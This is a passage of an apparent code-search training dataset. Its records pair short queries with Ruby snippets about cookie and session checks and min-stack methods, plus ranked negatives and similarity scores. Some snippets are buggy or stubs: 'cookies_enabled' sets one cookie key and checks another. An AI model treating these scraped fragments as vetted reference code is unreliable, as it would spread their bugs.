"0.55106944",
"0.55097467",
"0.5505809",
"0.55014133",
"0.54959005",
"0.5495257",
"0.5494404",
"0.5490126",
"0.5489611",
"0.54892135",
"0.5487776",
"0.5486925",
"0.5486347",
"0.54817873",
"0.54801947",
"0.5465482",
"0.54654753",
"0.5461193",
"0.5460093",
"0.54587394",
"0.54487944",
"0.54485273",
"0.54475135",
"0.5438087"
] |
0.0
|
-1
|
true if cookies are enabled, false otherwise.
|
def cookies_enabled
return true unless cookies["cookieTest"].blank?
cookies["cookieTest"] = Time.now
session[:return_to] = request.fullpath
if cookies["cookie_test"].blank?
return false
end
return true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cookies?\n cookies.length > 0\n end",
"def logged_in?\n\t\tcookies[:cookie_id] ? true : false\n\n\tend",
"def valid_cookie?\n cookie = @handshake.headers['Cookie']\n puts \"Cookie: #{cookie}\"\n return false unless cookie\n end",
"def cookie_valid?\n cookies[:clickfunnels_auth].present? && session[:user_id].present? && cookies[:clickfunnels_auth].to_s == session[:user_id].to_s\n end",
"def visitor_registered?\n cookies[self.class.read_inheritable_attribute(:cookie_name)].nil? == false\n end",
"def local_cookie?\n if File.exist?($CONF['cookie'])\n return true\n end\n false\nend",
"def valid?\n !!cookie_content\n end",
"def valid?\n !!cookie_content\n end",
"def needs_new_cookie?\n @_new_cookie\n end",
"def has_auth_cookie?\n raise NotImplementedError\n end",
"def has_auth_cookie?\n raise NotImplementedError\n end",
"def probably_authenticated?\n request.cookie_jar[:bk_logged_in] == \"true\"\n end",
"def valid_cookie?\n if (decrypted_cookie_value = IiifAuthService.decrypt_cookie(cookies[\"bearer_token\"]))\n valid_cookie_date?(decrypted_cookie_value)\n else\n false\n end\n end",
"def has_auth_cookie?\n request = Rack::Request.new(@env)\n cookie = request.cookies[TOKEN_COOKIE]\n !cookie.nil? && cookie.length == 40\n end",
"def valid_cookie?\n if cookie_credentials\n self.unauthorized_record = search_for_record(\"find_by_#{persistence_token_field}\", cookie_credentials)\n return valid?\n end\n \n false\n end",
"def use_cookies= bool\n if bool && (!@headers['Cookie'] || @headers['Cookie'].empty?)\n cookie = Kronk.cookie_jar.get_cookie_header @uri.to_s\n @headers['Cookie'] = cookie unless cookie.empty?\n\n elsif !bool\n @headers.delete 'Cookie'\n end\n\n @use_cookies = bool\n end",
"def cookies\n test_cookies\n end",
"def signed_in?\n !!@modhash and !!@cookie\n end",
"def logged_in?\n !!(cookie && (cookie =~ /reddit_session/) != nil)\n end",
"def has_auth_cookie?\n old_cookie = @request.cookies[OLD_TOKEN_COOKIE]\n new_cookie = @request.cookies[NEW_TOKEN_COOKIE]\n !old_cookie.nil? && !new_cookie.nil?\n end",
"def valid_cookie?\n \n cookie = request.cookies[\"kindle\"]\n \n # attempt to look up cookie in registration DB\n reg = Registration.first(:content => cookie)\n \n if $DEBUG\n puts \"Cookie: \" + (cookie.nil? ? \"nil\" : cookie.to_s )\n puts \"Registration: \" + (reg.nil? ? \"nil\" : reg.to_s )\n end\n \n return true if $DEBUG\n return !reg.nil?\n end",
"def has_auth_cookie?\n cookie = @request.cookies[TOKEN_COOKIE]\n !cookie.nil? && cookie.length == 32\n end",
"def use_cookies= bool\n if bool && (!@headers['Cookie'] || @headers['Cookie'].empty?)\n cookie = Kronk.cookie_jar.get_cookie_header @uri.to_s\n @headers['Cookie'] = cookie unless cookie.empty?\n\n else\n @headers.delete 'Cookie'\n end\n\n @use_cookies = bool\n end",
"def is_cookie_token_valid?\n return true if self.class.els_options.has_key? 'faker'\n raise \"No cookies instance found\" if cookies.nil?\n token = cookies[self.class.els_options['cookie']]\n if token.nil? || !Runner.is_token_valid?(token,self.class.els_options)\n false\n else\n true\n end\n end",
"def cookie_redirected?\n params[:cookies].present?\n end",
"def cookie_domain?(domain, host_only = T.unsafe(nil)); end",
"def logged_in?\n return(logged_in_from_session? || logged_in_from_cookie?)\n end",
"def session_enabled?\n @session_enabled\n end",
"def shib_session_exists?\n !cookies.detect { |key, val| key.include? SHIBBOLETH_COOKIE_PATTERN }.nil?\n end",
"def accept_cookies\n if has_button_accept_cookies?\n button_accept_cookies.click\n end\n end",
"def allow_reg_modifications?\n cookies.signed[:user_permissions] == \"yes\"\n end",
"def allow_reg_modifications?\n cookies.signed[:user_permissions] == \"yes\"\n end",
"def session_check\n cookies['safari_cookie_fix'] = 'cookie OK'\n true\n end",
"def need_login?\n # @local_token is the key to use the local proxy. Connecting using this key\n # and the local proxy does not require login.\n if @local_token\n false\n elsif @access_token\n # If our access token is expired and we know it...\n @access_token_expires_at && @access_token_expires_at - Time.now < 900\n elsif @cookies\n # Or if we have a cookie jar and it's empty\n @cookies.respond_to?(:empty?) && @cookies.empty?\n else\n # Or if we have neither cookies nor an access token (because how else can a man auth?)\n true\n end\n end",
"def logged_in?\n if request.cookies['userid']\n true\n else\n false\n end\n end",
"def logged_in?\n raise NotAuthenticated if @cookies.nil? or @modhash.nil?\n end",
"def logged_in?\n #! @auth_client_cookie.nil?\n ! @session_token.nil?\n end",
"def cookies_required\n\t\treturn true unless cookies[\"cookie_test\"].blank?\n\t\tcookies[\"cookie_test\"] = Time.now\n\t\tsession[:return_to] = request.original_url\n\t\tredirect_to(cookie_test_path)\n\tend",
"def test_laptop_has_cookies\n end",
"def cookie_test\n\t\tif cookies[\"cookie_test\"].blank?\n\t\t\tlogger.warn(\"=== cookies are disabled\")\n\t\t\trender :template => \"shared/cookies_required\"\n\t\telse\n\t\t\tredirect_to(building_path)\n\t\tend\n\tend",
"def valid_remember_cookie?\n return nil unless @current_user\n (@current_user.remember_token?) && (cookies[:auth_token] == @current_user.remember_token)\n end",
"def valid_remember_cookie?\n return nil unless @current_user\n (@current_user.remember_token?) &&\n (cookies[:auth_token] == @current_user.remember_token)\n end",
"def set_cookies?\n ret = FormArray.new()\n self.header_data.each do |x|\n if x[0].upcase == \"SET-COOKIE\"\n ret << x[1].split(\";\").first.split(\"=\",2)\n end\n end\n ret\n end",
"def valid_remember_cookie?\n return nil unless @current_user\n (@current_user.remember_token?) && \n (cookies[:auth_token] == @current_user.remember_token)\n end",
"def include?( name_or_cookie )\n\t\treturn true if @cookie_set.include?( name_or_cookie )\n\t\tname = name_or_cookie.to_s\n\t\treturn self[name] ? true : false\n\tend",
"def logged_in?\n # return true if Rails.env.development?\n !current_user.nil? && UTEPSSO.authenticated?(cookies[:UTEP_SE], cookies[:UTEP_SA])\n end",
"def user_visited_a_non_ssl_page_since_login?\n cookies[:insecure].nil? || cookies[:insecure] == true\n end",
"def needs_new_cookie!\n @_new_cookie = true\n end",
"def needs_new_cookie!\n @_new_cookie = true\n end",
"def needs_new_cookie!\n @_new_cookie = true\n end",
"def rc_facebook_check_cookie\n return if rc_facebook.authorized? ||\n !cookies[\"fbs_#{rc_facebook.app_id}\"]\n\n rc_facebook.parse_cookies!(cookies)\n logger.debug(\"DEBUG: Facebook: detected cookies, parsed:\" \\\n \" #{rc_facebook.data.inspect}\")\n end",
"def recurrent?\n # if there is no cookies access it is the user first time here\n return false if get_accesses_cookie.empty?\n\n # The user accessed some URL, but not this one\n return false if @access_data.nil?\n\n # If there is no access expression on the cookie\n get_accesses_cookie[access_expression].nil? ? false : true\n end",
"def cookies_required\n return true unless cookies[\"cookie_test\"].blank?\n cookies[\"cookie_test\"] = Time.now\n session[:return_to] = request.request_uri\n redirect_to(cookies_test_path)\n end",
"def vote_cookie_for?(question)\n cookies[\"voted_for_#{question.id}\"] == '1'\n end",
"def logged_in?\n !session[Casual.session_key].nil?\n end",
"def is_logged_in?\r\n \tusername = cookies.signed[:username]\r\n \tpassword = cookies.signed[:pwd]\r\n \tif User.exists?(username: username)\r\n \tif username.nil? || password.nil?\r\n \t\tfalse\r\n \telsif password.empty? || username.empty? \r\n \t\tfalse\r\n \telse\r\n true\r\n \tend\r\n else\r\n false\r\n end\r\n end",
"def validate_cookie\n if cookies[:caboose_user_id] && User.exists?(cookies[:caboose_user_id])\n user = User.find(cookies[:caboose_user_id])\n login_user(user)\n return true\n end\n return false\n end",
"def authenticated?\n !!(session['cas'] && session['cas']['user'])\n end",
"def authenticated?\n @session != nil && !@session['session_expires'].nil? && @session['session_expires'] > Time.now && @session['auth'] == true && @session['ip'] == @cgi.remote_addr\n end",
"def cookies; end",
"def cookies; end",
"def cookies; end",
"def cookies; end",
"def cookies; end",
"def cookies; end",
"def cookies; end",
"def authenticating_with_facebook?\n !authenticating_with_unauthorized_record? && self.facebook_api_keys_provided? && self.raw_cookie\n end",
"def logged_in?\n cookies[:logged_in_identity_url] && valid_admin_open_id?(cookies[:logged_in_identity_url])\n end",
"def should_signout_sso?\n Rails.logger.info('SSO: ApplicationController#should_signout_sso?', sso_logging_info)\n return false unless Settings.sso.cookie_enabled\n return false unless Settings.sso.cookie_signout_enabled\n\n cookies[Settings.sso.cookie_name].blank? && request.host.match(Settings.sso.cookie_domain)\n end",
"def authentication?\n @capabilities and @capabilities.include? 'auth'\n end",
"def logged_in?\n return false unless @auth_header\n true\n end",
"def session?\n !expires_at || discard\n end",
"def check_cookie(response)\n\t\t\t if response.get_fields('set-cookie')\n \t\t\tset_cookie(response)\n \t\t\tprint \"new cookie: \"\n \t\t\tputs response.get_fields('set-cookie')\n \t\t\tputs @cookies\n \t\tend\n\t\tend",
"def web_browser_cookie_settings\n return @web_browser_cookie_settings\n end",
"def cookie_login\n @current_user = User.find(cookies[:user_id])\n return @current_user.password_hash == cookies[:password_hash] \n rescue \n return false\n end",
"def is_admin\n res = http_get(:uri=>\"/session\", :fields=>x_cookie)\n if res['permissions'] == 128\n return true\n else\n return false\n end\n end",
"def captcha_passed?\n cookies[:captcha_status] == encrypt(\"passed\")\n end",
"def cookies\r\n raise NotImplementedError, \"not currently supported by WatirNokogiri\"\r\n end",
"def remember_host?\n !!@remember_host\n end",
"def cookies # :doc:\n request.cookie_jar\n end",
"def allowed?\n !session[:session_key].nil?\n end",
"def enabled?\n @config[:caching][:enabled]\n end",
"def confirmed?\n request.cookies[cookie_name] && area.valid_code?(request.cookies[cookie_name])\n end",
"def alive?\n @session && @login_info\n end",
"def cookies; @cookies ||= CookieJar.new; end",
"def logged_in?\n current_account != :false && current_account.active?\n end",
"def logged_in?\n !!session[:logged_in]\n end",
"def logged_in?\n flag = session[:user_id]\n unless flag\n cookies.delete :user_id # delete the cookie for actioncable authorization\n end\n flag\n end",
"def authenticated?\n warden.user ? true : false\n end",
"def logged_in?\n validate_token\n validate_cookie\n return true if !session[\"app_user\"].nil? && session[\"app_user\"] != false && session[\"app_user\"].id != -1 && session[\"app_user\"].id != User::LOGGED_OUT_USER_ID \n return false\n end",
"def force?\n session[:force_url] != nil\n end",
"def cookies # :doc:\n request.cookie_jar\n end",
"def authenticated?\n session['cas'] && session['cas']['user']\n end",
"def connected?\n return false if auth_token.nil? || auth_token.empty?\n\n expires_at = auth_token.dig(:expires_at)\n\n return false if expires_at.nil?\n\n expires_at >= DateTime.now\n end",
"def logged_in?\n session[:authorized] == true\n end",
"def guest_user?\n !cookies[:uuid].nil? && !guest_user.nil?\n end",
"def single_session?\n ENV['SINGLE_SESSION'].nil? ? false : ENV['SINGLE_SESSION'].upcase == 'TRUE'\n end",
"def cookies\n call_once\n @cookies\n end",
"def service_fwproxy?()\n return true if (@service == TAC_PLUS_AUTHEN_SVC_FWPROXY)\n return false\n end",
"def two_factor_auth_enabled?\n self.class.authlogic_ext_config[:two_factor_auth]\n end"
] |
[
"0.76838183",
"0.7166335",
"0.714579",
"0.708127",
"0.70192784",
"0.69511825",
"0.6932264",
"0.6932264",
"0.6910483",
"0.6866767",
"0.6866767",
"0.68587136",
"0.67722076",
"0.67661065",
"0.6765488",
"0.67372143",
"0.6734038",
"0.67053664",
"0.6698484",
"0.66802573",
"0.6651246",
"0.6636261",
"0.6635926",
"0.6634719",
"0.66257054",
"0.6571838",
"0.6559833",
"0.6457501",
"0.64504224",
"0.64501727",
"0.6433358",
"0.6433358",
"0.64059573",
"0.6399142",
"0.63676786",
"0.63290095",
"0.6327866",
"0.63134664",
"0.63066584",
"0.6282381",
"0.62340546",
"0.6227944",
"0.6222124",
"0.62057376",
"0.6187861",
"0.6152517",
"0.6138969",
"0.6138961",
"0.6138961",
"0.6138961",
"0.60928303",
"0.6090909",
"0.60721946",
"0.60641295",
"0.60602564",
"0.6048741",
"0.6045484",
"0.6029871",
"0.6013477",
"0.59854835",
"0.59854835",
"0.59854835",
"0.59854835",
"0.59854835",
"0.59854835",
"0.59854835",
"0.5984592",
"0.5971517",
"0.5956825",
"0.5944511",
"0.5935627",
"0.59354275",
"0.5919995",
"0.58614516",
"0.5828878",
"0.582639",
"0.5820901",
"0.5811246",
"0.58080506",
"0.5803676",
"0.57819676",
"0.577694",
"0.57684094",
"0.5764771",
"0.5763421",
"0.5760357",
"0.57589436",
"0.57576126",
"0.5741988",
"0.5730518",
"0.5722282",
"0.5721667",
"0.5719004",
"0.57082295",
"0.57049733",
"0.57042825",
"0.57014924",
"0.56948006",
"0.56866366",
"0.56800467"
] |
0.8233351
|
0
|
=begin :type x: Integer :rtype: Void =end
|
def push(x)
if @stack.length == 0 or x <= @min
@stack.push @min
@min = x
end
@stack.push x
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def x\n 0\n end",
"def x(n)\n end",
"def x\n end",
"def x\n end",
"def x\n end",
"def return_value(x)\n\tif x > 1\n\t\treturn x\n\telse\n\tend\nend",
"def x; 1; end",
"def x; end",
"def x; end",
"def x; end",
"def x; end",
"def x; end",
"def cnt; xparam(6); end",
"def get_x; \t\t@x \t\t\tend",
"def E\n @x += 1\n end",
"def s(x); 1; end",
"def plusOne(x)\n\tputs x+1\nend",
"def incr(x) x + 1 end",
"def number=(_arg0); end",
"def f(x)\n return x + 1\nend",
"def x \n @x \n end",
"def basic_3\n x_range = (1..255)\n sum = 0\n x_range.step(1) { |n| sum = sum + n; print \"New number: #{n} Sum: #{sum}\\n\"; }\n puts\nend",
"def x\n @x\n end",
"def l(x)\n 2 * ( x + 1 ) - @n\n end",
"def add_up(integer)\n x = 0\n for i in 1..integer\n x+=i\n end \n puts x\n return x\nend",
"def length(x)\r\n\t\tif @lista_exp != nil\r\n\t\t\tx = x +1\r\n\t\t\t@lista_exp.length(x)\r\n\t\telse\r\n\t\t\tx = x +1\r\n\t\t\treturn x\r\n\t\tend\r\n\tend",
"def x() @x end",
"def attack_bonus; xparam(0); end",
"def trg; xparam(9); end",
"def Integer(p0) end",
"def mystery(n)\n 0\nend",
"def handle(x, low, mid, high)\n case x\n when 0 then ''\n when 1 then low\n when 2 then low * 2\n when 3 then low * 3\n when 4 then low + mid\n when 5 then mid\n when 6 then mid + low\n when 7 then mid + low * 2\n when 8 then mid + low * 3\n when 9 then low + high\n else raise ArgumentError.new(\"passed #{x}\")\n end\n end",
"def W\n @x -= 1\n end",
"def xx\n raise InvalidInstruction\n end",
"def x=(x)\n end",
"def initialize() @x = 8 end",
"def x=(x)\n if !x.nil? && x < 0\n fail ArgumentError, 'invalid value for \"x\", must be greater than or equal to 0.'\n end\n\n @x = x\n end",
"def x=(x)\n if x.nil?\n fail ArgumentError, 'invalid value for \"x\", x cannot be nil.'\n end\n if x < 0\n fail ArgumentError, 'invalid value for \"x\", must be greater than or equal to 0.'\n end\n @x = x\n end",
"def num; end",
"def num; end",
"def x #getter method\n\t\t@x\n\tend",
"def square(x)\n\treturn 0 unless x.is_a? Integer\n\tx * x\nend",
"def f(x)\n x*(x+1)\nend",
"def mev; xparam(4); end",
"def foo (x)\nend",
"def xbonacci(starting_sequence, number_of_xbonacci_numbers_to_return)\n\nend",
"def mrg; xparam(8); end",
"def x!() @x.value end",
"def foo()\n x = 0\n p(x)\nend",
"def zero(x)\n if x <= 0\n puts x\n else \n puts x\n zero(x - 1)\n end\nend",
"def h(x)\n 2*x - @n - 1\n end",
"def signum x\n return -1 if x < 0\n return 1 if x > 0\n return 0\n end",
"def recursion(x)\n return \"HEYO!\" if x >= 5\n puts x\n recursion x += 1\nend",
"def recursion(x)\n return \"HEYO!\" if x >= 5\n puts x\n recursion x += 1\nend",
"def hrg; xparam(7); end",
"def magic_numbers(count)\nend",
"def int1; end",
"def int1; end",
"def set_psi x\n if x>200\n x=200\n elsif x<0\n x=0\n end\n @@psi = x\n end",
"def number; end",
"def number; end",
"def x=(_arg0); end",
"def x=(_arg0); end",
"def x=(_arg0); end",
"def counter_2(x)\n (1..x).each { |n| puts n }\nend",
"def setX(x) \n @x = x\n end",
"def foo=(x)\n @num=x\n end",
"def add_two(x)\n\tx + 5\nend",
"def recursion(x)\n return \"HEYO!\" if x >= 5\n puts x\n recursion(x += 1)\nend",
"def calc(x)\n puts x*3\nend",
"def consume_number; end",
"def sum_ints(x,y)\n\tx + y\nend",
"def txXX_(n, x); tdist(n, x); end",
"def *(x); end",
"def setX(x)\n @x = x\n end",
"def x=(_); end",
"def x=(_); end",
"def N\n @y += 1\n end",
"def addOne(x=5)\n\tputs x +_1\nend",
"def method(int)\n\t\treturn int*2\n\tend",
"def positive; end",
"def positive; end",
"def sum(int)\n int = 1\nend",
"def x=(value)\n end",
"def basic_1\n x_range = (1..255)\n x_range.step(1) { |n| print \"#{n} \" }\n puts\nend",
"def numbers(n)\n\nend",
"def get_signo(x)\n return [\"+1\", \"+1\", \"-1\"][x <=> 0].to_i\n end",
"def x2\n x + width\n end",
"def inc(n)\n n+1\nend",
"def integer_print_10\n 10.times do |x|\n puts x \n end \nend",
"def entry_num(x)\n if x < 1\n raise \"Invalid entry number!\"\n end\n if x > @list_of_positions.length()\n raise \"There are only #{@list_of_positions.length} entries\"\n end\n # 1-based\n x -= 1\n @current_iteration = x\n self.next()\n end",
"def up\n self.x = ((x-1)+10)%10\n end",
"def pixel_x; @x / PIXEL_WIDTH; end",
"def pixel_x; @x / PIXEL_WIDTH; end",
"def number_counting_seq(n)\r\n\r\nend",
"def no_bar\r\n\t return x \r\n\tend",
"def void0(*args)\n return 0\n end",
"def getX() \n @x \n end",
"def m(x) x end",
"def fun(x)\n puts x\nend",
"def factorial(x)\n\tres = 1\n\t# use a block that multiply the variable res by each value of the range\n\t(1..x).each { |i| res *= i }\n\treturn res\nend"
] |
[
"0.6999597",
"0.6869975",
"0.6671123",
"0.66127646",
"0.66127646",
"0.6536892",
"0.6503381",
"0.64305717",
"0.64305717",
"0.64305717",
"0.64305717",
"0.64305717",
"0.64080566",
"0.6362651",
"0.62267184",
"0.6217009",
"0.61672753",
"0.61467487",
"0.61237484",
"0.61100554",
"0.6021121",
"0.601926",
"0.5956549",
"0.5955247",
"0.59465015",
"0.59414476",
"0.5937001",
"0.5934482",
"0.59277934",
"0.59241533",
"0.59189767",
"0.59155303",
"0.5906098",
"0.5895665",
"0.5870541",
"0.5865828",
"0.58551997",
"0.5847181",
"0.58449984",
"0.58449984",
"0.5828979",
"0.5796989",
"0.5793323",
"0.5791201",
"0.5777426",
"0.57704544",
"0.57478136",
"0.5740434",
"0.57315797",
"0.5710468",
"0.57078725",
"0.56957597",
"0.5682544",
"0.5682544",
"0.5680041",
"0.56781733",
"0.56742644",
"0.56742644",
"0.56671417",
"0.5665162",
"0.5665162",
"0.56632465",
"0.56632465",
"0.56632465",
"0.5640186",
"0.56381124",
"0.5629507",
"0.5623716",
"0.55770963",
"0.5573533",
"0.557016",
"0.5563564",
"0.5557547",
"0.5554134",
"0.5533118",
"0.55312335",
"0.55312335",
"0.5521107",
"0.5519872",
"0.5515735",
"0.5511857",
"0.5511857",
"0.55113196",
"0.5506665",
"0.55021083",
"0.55011463",
"0.5496936",
"0.549354",
"0.54889727",
"0.54709125",
"0.54660314",
"0.546287",
"0.5445789",
"0.5445789",
"0.54448044",
"0.54230034",
"0.5422089",
"0.5401106",
"0.5393573",
"0.5390772",
"0.538248"
] |
0.0
|
-1
|
=begin :rtype: Void =end
|
def pop()
ret = @stack.pop()
if ret == @min
@min = @stack.pop()
end
ret
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def end; end",
"def end; end",
"def end; end",
"def void\n \"Void\"\n end",
"def incomplete\r\n\r\n end",
"def begin; end",
"def void()\n nil\n end",
"def complete?; end",
"def handle; end",
"def begin() end",
"def done; end",
"def suivre; end",
"def end() end",
"def schubert; end",
"def end\n end",
"def end\n end",
"def proceed!; end",
"def proceed!; end",
"def probers; end",
"def private; end",
"def ...\nend",
"def complete\n nil\n end",
"def complete\n nil\n end",
"def returns; end",
"def void(val)\n # Void does nothing\n self\n end",
"def finished; end",
"def do()\r\n\tend",
"def success; end",
"def success; end",
"def ibu; end",
"def perform; end",
"def perform; end",
"def final; end",
"def pass; end",
"def pass; end",
"def operation; end",
"def operations; end",
"def operations; end",
"def perform\n \n end",
"def end\n end",
"def finished=(_arg0); end",
"def complete!\n raise NotImplementedError\n end",
"def villian; end",
"def execute; end",
"def execute; end",
"def reap; end",
"def guct\n end",
"def zuruecksetzen()\n end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def done?; end",
"def _end!; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def r; end",
"def r; end",
"def at_end; end",
"def complete\n end",
"def void0(*args)\n return 0\n end",
"def call() end",
"def end_field=(_arg0); end",
"def nothing; end",
"def end_point=(_arg0); end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def diagnostic; end",
"def returns=(_arg0); end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end"
] |
[
"0.7076286",
"0.7076286",
"0.7076286",
"0.7042917",
"0.7006871",
"0.6946303",
"0.6753771",
"0.6736687",
"0.6684566",
"0.66822404",
"0.66349524",
"0.66205233",
"0.6619803",
"0.65918946",
"0.65669674",
"0.65669674",
"0.6561827",
"0.6561827",
"0.65405864",
"0.6527296",
"0.6500946",
"0.6486529",
"0.6486529",
"0.64508057",
"0.64462537",
"0.6422791",
"0.642053",
"0.6416459",
"0.6416459",
"0.6404361",
"0.6404128",
"0.6404128",
"0.6400557",
"0.6384068",
"0.6384068",
"0.63782644",
"0.63600796",
"0.63600796",
"0.63582593",
"0.63263935",
"0.6324234",
"0.6321326",
"0.63052845",
"0.629552",
"0.629552",
"0.6294288",
"0.6286154",
"0.6284205",
"0.6278275",
"0.6278275",
"0.6278275",
"0.6278275",
"0.6278275",
"0.6278275",
"0.6278275",
"0.6278275",
"0.6264103",
"0.6264103",
"0.6264103",
"0.6264103",
"0.6264103",
"0.6264103",
"0.6264103",
"0.6264103",
"0.620939",
"0.6189846",
"0.6184386",
"0.6184386",
"0.6184386",
"0.6184386",
"0.6184386",
"0.6184386",
"0.6184386",
"0.6184386",
"0.6184386",
"0.6184386",
"0.6180728",
"0.6180728",
"0.6179174",
"0.61714935",
"0.61674386",
"0.61650586",
"0.6165017",
"0.6160322",
"0.6157941",
"0.61551565",
"0.61551565",
"0.61551565",
"0.61551565",
"0.61551565",
"0.61551565",
"0.61551565",
"0.61551565",
"0.61551565",
"0.6150566",
"0.61480886",
"0.6144247",
"0.6144247",
"0.6144247",
"0.6144247",
"0.6144247"
] |
0.0
|
-1
|
=begin :rtype: Integer =end
|
def top()
@stack.last
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def range; end",
"def range; end",
"def range; end",
"def length\n @end - @start + 1\n end",
"def length\n @end - @start\n end",
"def start_num\n return @start_num\n end",
"def length\r\n return self.stop - self.start + 1\r\n end",
"def length\n return self.stop - self.start + 1\n end",
"def length\n return self.stop - self.start + 1\n end",
"def size\n\t\tlast - first + (exclude_end? ? 0 : 1)\n\tend",
"def count()\n return @i\n end",
"def m_range\r\n end",
"def offset; end",
"def offset; end",
"def offset; end",
"def num; end",
"def num; end",
"def size\n @range.size\n end",
"def ig\n\t\tig_ind.reduce(0, :+)/ig_ind.size\n\tend",
"def Integer(p0) end",
"def begin_pos; end",
"def length\n stop - start + 1 unless coverage == 0\n end",
"def size()\r\n\t\tif num1 != nil\r\n\t\t\tif signo1 != nil\r\n\t\t\t\tif signo2 != nil\r\n\t\t\t\t\treturn [email protected]_s().to_i()[email protected]_s().to_i() + 1\r\n\t\t\t\telse\r\n\t\t\t\t\treturn @num2.valor.to_s().to_i()[email protected]_s().to_i() + 1\r\n\t\t\t\tend\r\n\t\t\telsif signo2 != nil\r\n\t\t\t\treturn [email protected]_s().to_i()[email protected]_s().to_i() + 1\r\n\t\t\telse\r\n\t\t\t\treturn @num2.valor.to_s().to_i()[email protected]_s().to_i()\t+ 1\r\n\t\t\tend\r\n\t\tend\t\r\n\tend",
"def outidx\n @index_range.begin\n end",
"def get_integer_value\n\t\tend",
"def num()\n\t\treturn @num\n\tend",
"def to_i()\n #This is a stub, used for indexing\n end",
"def end; self.begin + self.size - 1; end",
"def length()\n #This is a stub, used for indexing\n end",
"def number_of_values\n Integer((@upper - @lower) / @step) + 1\n end",
"def span\r\n if @range.none?\r\n 0\r\n else\r\n @range.max - @range.min + 1\r\n end\r\n end",
"def to_i()\n #This is a stub, used for indexing\n end",
"def total\n 2**64 - 1\n end",
"def starting_position; end",
"def length()\n #This is a stub, used for indexing\n end",
"def last_i\n size - 1\n end",
"def number_returned; 0; end",
"def block_count; @data[17].to_i; end",
"def count; @value.size; end",
"def number_indents\n 0\n end",
"def total_set\n @field.each_byte.inject(0) { |a, byte| (a += 1; byte &= byte - 1) while byte > 0 ; a }\n end",
"def zero_or_more\n -1\n end",
"def sequence_number; end",
"def range_start; range.first; end",
"def length() end",
"def length() end",
"def length() end",
"def length() end",
"def count; end",
"def count; end",
"def count; end",
"def range\n @range ||= 0.upto(@limit)\n end",
"def to_i(start = 0, rel_to = nil)\n if rel_to == :self\n 0\n else\n @address - rel_to.to_i + (@reloc ? start : 0)\n end unless dummy?\n end",
"def seuil()\n\t\treturn 0\n\tend",
"def number_counting_seq(n)\r\n\r\nend",
"def begin_pos=(_); end",
"def y(from = 0)\n self[1,2].to_i - 1 + from\n end",
"def end_result_number\n start_result_number + (results.size) - 1\n end",
"def min\n @range.begin\n end",
"def size\n last - first\n end",
"def length\n length = 0; each {length += 1}; length\n end",
"def range(input); end",
"def range_correct_index at\n index = at\n index = self.length + at if at < 0\n raise \"index must be positive , not #{at}\" if (index <= 0)\n raise \"index too large #{at} > #{self.length}\" if (index > self.length)\n return index\n end",
"def to_i\n\t\t\t(a1.to_i << 96) + (a2.to_i << 64) + (a3.to_i << 32) + a4.to_i\n\t\tend",
"def number; end",
"def number; end",
"def ntCount\n return @ntIndex.length\n end",
"def length_in(range)\n (self & range)&.length || 0\n end",
"def begin(p0) end",
"def begin\n empty? ? 0 : first.begin\n end",
"def sign_count; end",
"def n\n x.size\n end",
"def length; count end",
"def sum; end",
"def lengthOfSequence(element)\n\nend",
"def length\n @count\n end",
"def length(start_t, end_t, geores)\n return do_length(start_t, end_t, geores)\n end",
"def count=(_arg0); end",
"def current_length; end",
"def to_int() end",
"def to_int() end",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def to_int\n end",
"def ndp_sum=(i); typecast i; end",
"def bc_count\n \[email protected] + @initial.size + @final.size + @cyclic.size\n end",
"def length\n reduce(0) {|sum,_| sum + 1 }\n end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def getNbRecompense\n return 0\n end",
"def upper_bound; end",
"def size_from_range(range)\n size = range.end - range.begin + 1\n raise NegativeRangeSpan, \"The resulting size for range #{range} is negative\" if size < 0\n size\n end"
] |
[
"0.68839365",
"0.68839365",
"0.68839365",
"0.6832226",
"0.6770915",
"0.65820575",
"0.6458765",
"0.64062536",
"0.64062536",
"0.6389018",
"0.6268534",
"0.62334067",
"0.61995095",
"0.61995095",
"0.61995095",
"0.6191786",
"0.6191786",
"0.6191563",
"0.6190707",
"0.61641645",
"0.61553586",
"0.61267126",
"0.6125403",
"0.60952806",
"0.6085276",
"0.6065244",
"0.6047411",
"0.6043025",
"0.6020434",
"0.600915",
"0.60025835",
"0.59879714",
"0.59836364",
"0.59807193",
"0.5980499",
"0.59706044",
"0.59556824",
"0.5949657",
"0.5945405",
"0.5942585",
"0.5941379",
"0.59285784",
"0.58926475",
"0.58844113",
"0.5877592",
"0.5877592",
"0.5877592",
"0.5877592",
"0.58666134",
"0.58666134",
"0.58666134",
"0.5866053",
"0.58639216",
"0.58622646",
"0.5836902",
"0.5834981",
"0.5828989",
"0.5825883",
"0.58251923",
"0.58213437",
"0.5805815",
"0.5799385",
"0.57860255",
"0.5778401",
"0.57703763",
"0.57703763",
"0.5769836",
"0.57683045",
"0.57671595",
"0.57573825",
"0.5757143",
"0.57537645",
"0.574803",
"0.57462865",
"0.5739271",
"0.57357603",
"0.57309836",
"0.5730078",
"0.5729926",
"0.5729287",
"0.5729287",
"0.5725265",
"0.5725265",
"0.5725265",
"0.5725265",
"0.5725265",
"0.5725265",
"0.57225573",
"0.5721215",
"0.5705846",
"0.57051116",
"0.5704157",
"0.5704157",
"0.5704157",
"0.5704157",
"0.5704157",
"0.5704157",
"0.5704157",
"0.5696494",
"0.56956005",
"0.56892717"
] |
0.0
|
-1
|
=begin :rtype: Integer =end
|
def get_min()
@min
end
|
{
"objective": {
"self": [],
"paired": [],
